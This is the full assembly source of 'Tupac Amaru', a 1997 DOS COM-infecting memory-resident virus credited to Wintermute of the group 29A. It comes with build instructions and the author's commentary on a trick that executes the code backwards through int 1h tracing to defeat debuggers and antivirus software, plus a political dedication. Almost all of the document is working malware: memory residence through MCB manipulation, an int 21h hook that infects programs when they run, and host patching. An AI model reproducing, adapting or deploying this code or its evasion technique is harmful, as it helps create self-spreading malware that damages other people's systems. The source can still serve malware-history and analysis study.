; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;²²±                       .:. .: .:..: :. : .. ::..                      ²²±
;²±   Virus: Tupac Amaru  . ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ..  Author: Wintermute  ²±
;²±       Size: 1308     ::.ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ:.:    Group: 29A       ²±
;²±   Date: August, 1997 .: .ÜÜÜÛÛß.ßÛÛÛÛÛÛ:ÛÛÛÛÛÛÛ .:. Origin: Espa¤a     ²±
;²±                     >===ÛÛÛÜÜÜÜ=ÜÜÜÜÛÛÛ=ÛÛÛ=ÛÛÛ===->>                  ²±
;²±                   .: .:.ÛÛÛÛÛÛÛ:ÛÛÛÛÛÛß.ÛÛÛ ÛÛÛ: .:.:..                ²±
;²²±                ..: ::. . .:.. .: ..:.::.. .:.. :.. :.:..             ²²±
; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;
;  This virus itself is just a COM TSR virus... but... the innovation it has
; justifies the whole virus as something really  cool  and  new... it's  the
; first virus ever in the world that executes its code **BACKWARDS**.
;
;  By means of int 1h, it executes one  instruction, reverses the opcodes of
; the next one ( which is actually the one before :) ) and  sets IP  to that
; position, reversing  again  the instruction  that has  been just executed.
;
; Let's imagine Tupac at this position:
;
;       db  0c7h, 08eh
; ÄÄÄ  mov ax,2521h
;       [...]
;
;  Just after  the "mov ax,2521h" is  executed, the compiler  will set CS:IP
; for the next instruction and then call int 1h. Then, we'll move that value
; into DS:SI, substracting to SI the  size of "mov ax,2521h" (three bytes in
; this example; this size is known because the instruction length is checked
; during the last call before this one).
;
;  We decrement SI by one, so we  point to "08eh". The engine will then load
; this  opcode and find  the corresponding  instruction length, getting 2 as
; result, and thus picking two bytes ( 08eh and the previous one, 0c7h ). So
; that, it will substract 2 to SI, push  the instruction opcodes, and pop'em
; backwards, changing  the CS:IP stored in  the  stack in  order to point to
; this  instruction. Also, it will  reverse the instruction  which has  just
; been executed ( mov ax,2521h ).
;
;  For every int 21h call, Tupac  uses the "nop" instruction, 090h. It saves
; bytes, and also a good amount of time when trying to solve many problems.
;
;  Conditional jumps  are checked before  they're executed: if the reversing
; engine has just decrypted the instruction before it, the updated CS:IP and
; encrypted the next, it's obvious  that the virus will hang. So, the engine
; checks  the flags... jump is  made  three bytes  after the  instruction it
; should jump to ( cause 2+1 will be substracted in order to get to the last
; opcode of the instruction we want to execute ).
;
;  This is  because  Tupac  executes  backwards, making  impossible  for any
; debugger to  trace it; MS-DOS debug, GameTools, Soft-ICE and TurboDebugger
; just get lost... the only way I found to check how the virus worked was by
; guessing  with  some tricks  and  using  AVPUtil ( fucking  good  program,
; Kasp! ). All  the  debugging  programs  I  know ( including AVPUtil if you
; are not  modifying all  the time CS:IP  in  order to  execute  the correct
; instructions ) will  continue  executing the  whole code  forwards without
; realising  about wtf's really happening there ( and this obviously happens
; with AV software as well ).
;
;  The virus is dedicated to the revolutionary  group  Tupac  Amaru  members
; who were killed after surrendering by the  Peruvian  army  forces  in  the
; attack to the japanese embassy in  Per£,  Lima.  The  rebels  surrendered,
; and Fujimori's men killed them one by one; the embassy  was  burning  with
; the rebels inside it - among them a 16 year  old  girl  -  while  Fujimori
; was congratulating his troops and  singing  the  peruvian  national  hymn,
; talking with journalists to raise more popular and win the next elections.
;
;  Also dedicated ( as so dedicated as it is to Tupac Amaru killed members )
; to the miners that excavated the tunnel to the embassy  for  the  gov  and
; later  "dissapeared",  and  to  all  of  Fujimori's  victims:  dissapeared
; students, tortured "enemies", and people who fight for democracy there...
;
;  Well, also to all the people in the world that are  punished  because  of
; talking about democracy and human rights :)
;
;   Also some greetings to AVV, who told me about an  idea  about  executing
; a decrypting routine backwards... idea I took, gave form,  extended  to  a
; complete virus,... and finally brought ya ;)
;
;
;         ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;             Habr  un d¡a en que todos, al levantar la vista,
;                  veremos una tierra, que ponga libertad.
;                Sonar n las campanas desde los campanarios,
;                 y los campos desiertos, volveran a granar,
;                unas espigas altas, dispuestas para el pan.
;            Para un pan que en los siglos, nunca fue repartido,
;               entre todos aquellos, que hicieron lo posible,
;                por empujar la historia, hacia la libertad.
;                    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                        ( from a revolution song )
;
;
;   tasm tupac.asm /m2
;   tlink tupac.obj
;   x2b tupac.exe tupac.com         ; An utility near Exe2bin
;   del tupac.exe


.286
kodigo segment 'code'
assume cs:kodigo,ds:kodigo,es:kodigo
org 00h

tupac_start label byte

Tupac_amaru:

                call    delta
delta:          mov     si,sp                   ; We take the delta-offset
                mov     bp,word ptr [si]
                sub     bp,3

backtrace:
                mov     byte ptr cs:[installing_on+bp],0

                mov     ax,3521h
                int     21h
                mov     word ptr [int21h+bp],bx
                mov     word ptr [int21h+2+bp],es

                mov     dx,bx
                push    es
                pop     ds
                mov     ax,25a9h
                int     21h
                push    cs
                pop     ds

                mov     ax,3501h                ; Get 1h
                int     21h
                mov     word ptr [int1h+2+bp],es
                mov     word ptr [int1h+bp],bx
                lea     dx,back_zone+bp   ; Set it to the zone that's going
                mov     ah,25h            ;to control the backwards execution
                int     21h

                cli
                pushf                       ; Now we set trap flag to 1
                pop     ax
                or      ah,1h
                push    ax
                popf

                jmp     end_or_init     ; To the beginning ( or end ? ;D )
                                        ;of the code


return:         dw      0       ; For the push/pop of all regs
instanterior:   db      1       ; Just executed instruction bytes
installing_on:  db      0       ; Backtrace working ?

offset_jmp:     dw      0
hay_salto:      db      0       ;  1.- Interrupt 21h
                                ;  2,3.- Jump

salto:          db 090h,0e9h
lugarsalto:     db 00h,00h      ;  Jump to virus code
buffer:         db 53h,53h,0cdh,20h     ;  Buffer with host bytes

virus_name:     db ' The Tupac Amaru virus, dedicated to all the people of '
                db 'the MRTA who were killed by Fujimori''s troops after '
                db 'surrendering at the japanese embassy on Lima, to all '
                db 'the people killed and tortured in his government, and '
                db 'finally to all those who work for democracy and for a '
                db 'better world.',0

_Winter_:       db 'Wintermute/29A',0


; ***************************************************************************
;                         RESIDENCE ROUTINE ZONE
; ***************************************************************************
;
;   You should read this next backwards ;)

                db      0c3h
                db      0a5h
                db      0a5h
                db      057h
                db      01h,00h,0bfh
                db      01h,00h,offset buffer+1,0aeh,080h
                db      offset buffer
                db      076h,08dh
                db      01fh
                db      07h
                db      0eh,0eh

jmp1:                   ; Restore first four bytes

                db      090h
                db      01fh,06h
                db      025h,021h,0b8h
                db      place_ff
                db      place_21-(place_ff*100h)
                db      0bah

                        ; Int 21h setting

jjmp7:          db      ((offset jmp7)-(offset jjmp7)),075h
                db      49h
                db      0a4h
jmp7:
                db      tupac_ff
                db      tupac_size-(tupac_ff*100h)
                db      0b9h
                db      0eeh,089h
                db      0ffh,031h
                db      0c7h,08eh
                db      047h
                db      00h,03h,03eh,03h,026h

                        ; Copy virus to memory

                db      tupac_parag
                db      00h,03h,02eh,083h,026h
jjmp6:          db      0-((offset jjmp6)-(offset jmp1)),072h
                db      tupac_parag
                db      00h,03h,03eh,080h,026h

                        ; Some checks
jmp4:
jjmp5:          db      0-((offset jjmp5)-(offset jmp1)),075h
                db      00h,01h,016h,039h,026h
jjmp4:          db      0ffh-((offset jjmp4)-(offset jmp4))+1,074h
                db      00h,00h,01h,03eh,083h,026h
                db      0dah,08ch

                        ; We check if we fit in memory: if last Mcb is
                        ;empty or it's program Psp

jmp2:
                db      ((offset jmp3)-(offset jmp2)),0ebh
                db      0c7h,08eh
                db      047h
                db      00h,03h,03eh,03h,026h
jjmp2:          db      0h-((offset jjmp2)-(offset jmp2)),074h
                db      05ah,00h,00h,03eh,080h,026h
jmp3:
                        ; Mcb Loop: Search for Mcb Z

                db      0c7h,08eh
                db      0eh,07fh,08bh,026h
                db      0c0h,08eh
                db      048h
                db      0c0h,08ch
                db      090h
                db      052h,0b4h

                        ; Search for the list of lists

jjmp1:          db      0-((offset jjmp1)-(offset jmp1))
                db      074h
                db      0c0h,0c0h,03dh
                db      090h
                db      0c0h,0c0h,0b8h

                        ; Installation check

end_or_init:
                nop                     ; The 'nop' is the signal for the
                                        ;virus to start executing backwards
                cli                     ; We don't want TbClean here, do we ?
                neg     sp
                neg     sp
                sti

                mov     di,100h         ; Restore bytes and return to host:
                mov     ax,word ptr [buffer+bp]  ; there's a debugger out
                mov     word ptr cs:[100h],ax    ; there... whoooo, I'm
                mov     ax,word ptr [buffer+bp+2]; afraid ! :)
                mov     word ptr cs:[102h],ax
                jmp     di

push_em_all:    cli                               ; We save registers
                pop     cs:word ptr [return+bp]
                pushf
                push    ax bx cx dx di si ds bp es
                push    cs:word ptr [return+bp]
                sti
                ret

pop_em_all:     cli                              ; We recover registers
                pop     cs:word ptr [return+bp]
                pop     es bp ds si di dx cx bx ax
                popf
                push    cs:word ptr [return+bp]
                sti
                ret

back_zone:      ; Backwards executor zone ( where int 1h is attached )

                call    push_em_all

                mov     di,sp                    ; We got on DS:DI now the
                mov     si, word ptr ss:[di+20d] ;CS:IP has sent to the stack
                mov     ds, word ptr ss:[di+22d] ;
                mov     bx,word ptr ss:[di+24d]  ; Pushed flags register

                dec     si
                lodsb
                cmp     al,90h          ; Nop will tell us when does the
                jnz     continua        ;executing start; installing_on is
                mov     byte ptr cs:[installing_on+bp],1  ;a flag that tells
                                                       ;we have to backtrace

continua:
                cmp     byte ptr cs:[installing_on+bp],0
                jnz     @adelante
                jmp     vamonos
@adelante:

                ; In AL we've got the first byte of the instruction we've
                ;just executed, but we cannot do nothin with this. First,
                ;we'll decrement ds:si, and sub si the last instruction
                ;size and which at the start lasts one byte ( the nop ),
                ;so we'll be at the first opcode of the backwards stored
                ;instructions we're going to execute.

                xor     dx,dx
                mov     dl,byte ptr cs:[instanterior+bp]
                inc     dl
                sub     si,dx           ; So, DS:SI now points to the opcode
                                        ;that will be the start of the next
                                        ;backwards instruction

                xor     cx,cx

                lodsb                   ; We load that opcode in Al, and
                                        ;check it with the table to verify
                                        ;it's lenght: only the opcodes used
                                        ;by the virus are checked.
@dsescsss:
                mov     ah,al


                push    si cx ds cs     ; Table
                pop     ds

                lea     si,inittable1+bp
                mov     cx,57d
@buscaopcode:
                lodsb                   ; Searches opcode in table
                cmp     ah,al
                jz      @encontrado
                loop    @buscaopcode

@encontrado:
                push    cx              ; Searches where to jump
                lea     si,inittable2+bp
                mov     cx,114d
                pop     dx
                sub     cx,dx
                sub     cx,dx
                add     si,cx
                lodsw
                add     ax,bp
                pop     ds cx si
                jmp     ax


inittable1:
                db      03h,07h,0eh,01fh,026h,03dh,047h,048h,057h,074h,080h
                db      08bh,08ch,08dh,08eh,0c3h,0cdh,0a5h,0b4h,0b8h,0bfh
                db      0ebh,090h,083h,039h,075h,072h,031h,089h,0b9h,049h
                db      06h,0bah,0a4h,0f8h,087h,06h,053h,0b4h,050h,058h
                db      05ah,08eh,03ch,0ach,046h,051h,052h,059h,0a0h,02h
                db      099h,02dh,0a3h,040h,0feh,073h

;;;;;;;;;;;;;;;;;

inittable2:

                dw      offset @bytes4, offset @bytes1, offset @bytes1
                dw      offset @bytes1, offset @prefijo, offset @bytes3
                dw      offset @bytes1, offset @bytes1, offset @bytes1
                dw      offset @jjz, offset @bytes5, offset @bytes3
                dw      offset @bytes2, offset @bytes3, offset @bytes2
                dw      offset @finished_go, offset @bytes2, offset @bytes1
                dw      offset @bytes2, offset @bytes3, offset @bytes3
                dw      offset @jmp2aplace, offset @makeint, offset @bytes5
                dw      offset @bytes4, offset @jjnz, offset @jjb
                dw      offset @bytes2, offset @bytes2
                dw      offset @bytes3, offset @bytes1, offset @bytes1
                dw      offset @bytes3, offset @bytes1, offset @end_infect
                dw      offset @bytes2, offset @bytes1, offset @bytes1
                dw      offset @bytes2, offset @bytes1, offset @bytes1
                dw      offset @bytes1, offset @bytes2, offset @bytes2
                dw      offset @bytes1, offset @bytes1, offset @bytes1
                dw      offset @bytes1, offset @bytes1, offset @bytes3
                dw      offset @bytes4, offset @bytes1, offset @bytes3
                dw      offset @bytes3, offset @bytes1, offset @bytes4
                dw      offset @jjnb

@prefijo:
                inc     cx
                dec     si
                dec     si
                lodsb
                inc     si
                jmp     @dsescsss

@makeint:
                mov     byte ptr cs:[hay_salto+bp],1
                jmp     @bytes1

@finished_go:
                mov     ds,word ptr [int1h+2+bp]
                mov     dx,word ptr cs:[int1h+bp]
                mov     ax,2501h
                int     21h
                and     byte ptr ss:[di+25d],0feh
                mov     word ptr ss:[di+20d],0100h
                call    pop_em_all
                iret

@end_infect:
                mov     ds,word ptr cs:[int1h+2]
                mov     dx,word ptr cs:[int1h]
                mov     ax,2501h
                int     21h
                and     byte ptr ss:[di+25d],0feh
                mov     word ptr ss:[di+20d],offset @@realend
                call    pop_em_all
                iret

@@realend:
                call    pop_em_all
                mov     bp,word ptr cs:[bp_site]
                jmp     int21jump

@jjnb:
                and     bl,00000001b    ; Conditional jnb jump check
                jnz     @bytes2
                jmp     @jmp2aplace

@jjb:
                and     bl,00000001b    ; Conditional jb jump check
                jz      @bytes2
                jmp     @jmp2aplace

@jjnz:
                and     bl,01000000b    ; Conditional jnz jump check
                jnz     @bytes2
                jmp     @jmp2aplace

@jjz:
                and     bl,01000000b    ; Are we going to make the jump jz ?
                jz      @bytes2         ; If zero flag isn't on, we take it
                                        ;as a normal 2 bytes instruction
@jmp2aplace:
                mov     byte ptr cs:[hay_salto+bp],3
                                        ; To interpret well next instruction
                mov     bx,si           ; And we put the instruction offset
                                        ;at [offsetjmp] to recode it on the
                                        ;next pass
                dec     bx
                dec     bx
                mov     word ptr cs:[offset_jmp+bp],bx
                jmp     @bytes2         ; Nothing to do now... let's leave
                                        ;the jump execute and then we'll
                                        ;do things ;)

@bytes5:        inc     cx
@bytes4:        inc     cx
@bytes3:        inc     cx
@bytes2:        inc     cx              ; Cx has instruction lenght
@bytes1:        inc     cx

                mov     dh, byte ptr cs:[instanterior+bp]
                mov     byte ptr cs:[instanterior+bp],cl

                mov     dl,cl

                sub     si,cx           ; We place SI at the end of the
                mov     di,cx           ;backwards instruction ( ok, at the
                                        ;begin ;) )

@loop_guardar:  lodsb                   ; We store each opcode in Al, on the
                push    ax              ;stack
                loop    @loop_guardar

                mov     cx,di
                sub     si,cx
                mov     di,si
                push    ds
                pop     es

                xor     bx,bx
                mov     bl,cl

@loop_reponer:  pop     ax              ; We take from the stack all opcodes
                stosb                   ;and place them in a correct form
                loop    @loop_reponer
                mov     di,sp
                mov     word ptr ss:[di+20d],si ; And now we place Si, the
                                        ;instruction we're executing next

                add     si,bx
                mov     cl,dh

                cmp     byte ptr cs:[hay_salto+bp],2
                jnz     @sec_loop
                mov     si,word ptr cs:[offset_jmp+bp]
                mov     byte ptr cs:[hay_salto+bp],0


@sec_loop:      lodsb                   ; Now we're codyfing the just
                push    ax              ;executed instruction, "backwarding"
                loop    @sec_loop       ;it; it will be exactly as it was.

                mov     cl,dh
                sub     si,cx
                mov     di,si
@sec_store:     pop     ax              ; So we store backwards
                stosb
                loop    @sec_store

vamonos:
                cmp     byte ptr cs:[hay_salto+bp],3 ; Ok, this was the inst
                jnz     vamos_ya                     ;just before the jump,
                dec     byte ptr cs:[hay_salto+bp]   ;so it will be the next
                                                     ;executing
vamos_ya:
                call    pop_em_all
                pushf

                cmp     byte ptr cs:[hay_salto+bp],1
                jnz     @return
                mov     byte ptr cs:[hay_salto+bp],0
                sti
                int     0a9h                        ; Int 21h
                cli

@return:
                popf
                                        ; Pop registers and go
                iret


;***************************************************************************
;                             FILE INFECTION
;***************************************************************************


        db      0f8h                ; "End of infection" mark

        db      090h
        db      01fh,05ah,058h

                    ; Restore int24h
@jmp3:
        db      90h
        db      03eh,0b4h

        db      90h
        db      40h
        db      058h
        db      05ah
        db      059h

@close:
        db      90h
        db      00,offset salto,0bah
        db      00h,04h,0b9h
        db      040h,0b4h

        db      090h
        db      099h
        db      0c9h,031h
        db      042h,00h,0b8h
                    ; Now to the init

        db      90h
        db      tupac_ff
        db      tupac_size-(tupac_ff*100h)
        db      0b9h
        db      0d2h,031h
        db      040h,0b4h

                ; Attach to the end

        db      00h,offset lugarsalto,0a3h
        db      00h,04h,02dh

@len:   db      0-((offset @len)-(offset @close)),073h
        db      0c3h,050h,03dh

        db      90h
        db      099h
        db      0c9h,031h
        db      042h,02h,0b8h

        db      00h,offset buffer+1,06h,0feh
@jjmp4: db      0-((offset @jjmp4)-(offset @close))
        db      074h

        db      0a7h,3ch
        db      00h,offset buffer+1,06h,02h

@jjmp5: db      0-((offset @jjmp5)-(offset @close))
        db      074h
        db      090h,03ch
        db      00h,offset buffer,0a0h

        db      90h
        db      00,offset buffer,0bah
        db      00h,04h,0b9h
        db      03fh,0b4h
        db      01fh
        db      0eh

                    ; Read first four bytes

        db      051h
        db      052h
        db      090h
        db      050h
        db      057h,00h,0b8h

                    ; Save the date

        db      0c3h,087h
        db      090h
        db      03dh,02h,0b8h

@jmp1:              ; Open file

        db      0f2h,089h
        db      0d9h,08eh

        db      090h
        db place_ff24
        db place_21-(place_ff24*100h)
        db      0bah
        db      01fh
        db      0eh
        db      050h
        db      025h,0b4h
        db      06h
        db      053h
        db      090h
        db      035h,024h,0b8h
        db      0d9h,08ch
        db      0f2h,087h

                        ; Save the int 24h

start_infecting:        nop                 ; Infection start

            ;**********************************
            ;         INT 21H HANDLER
            ;**********************************

in21 label byte
INT21HANDLER:
                cmp     ax,0c0c0h
                jz      i_check
                cmp     ax,4b00h
                jz      infect
                jmp     int21jump

i_check:
                iret

infect:
                mov     word ptr cs:[bp_site],bp
                xor     bp,bp
                call    push_em_all
                mov     byte ptr cs:[installing_on],0

init_1:
                push    ds dx

                push    cs
                pop     ds
                mov     ax,3501h        ; Get int1h
                int     21h
                mov     word ptr [int1h+2],es
                mov     word ptr [int1h],bx
                push    cs
                pop     es
                lea     dx,back_zone    ; Redirect it to the zone that's
                mov     ax,2501h        ;going to control backwards execution
                int     21h

                cli
                pushf                   ; Trap flag = 1
                pop     ax
                or      ah,1h
                push    ax
                popf

                pop     dx ds

@continue:
                jmp     start_infecting

int1h:          dw      0,0

bp_site:        dw      0

int21jump:      db      0eah
int21h:         dw      0,0

in24 label byte
    the24:      mov     al,3
                iret

                nop

place_21 equ in21-tupac_start
place_ff equ (place_21/0100h)
place_24 equ in24-tupac_start
place_ff24 equ (place_24/0100h)
tupac_end label byte
tupac_size equ tupac_end-tupac_start
tupac_parag equ ((tupac_size+15)/16)+2
tupac_ff equ (tupac_size/0100h)

kodigo ends
end tupac_amaru
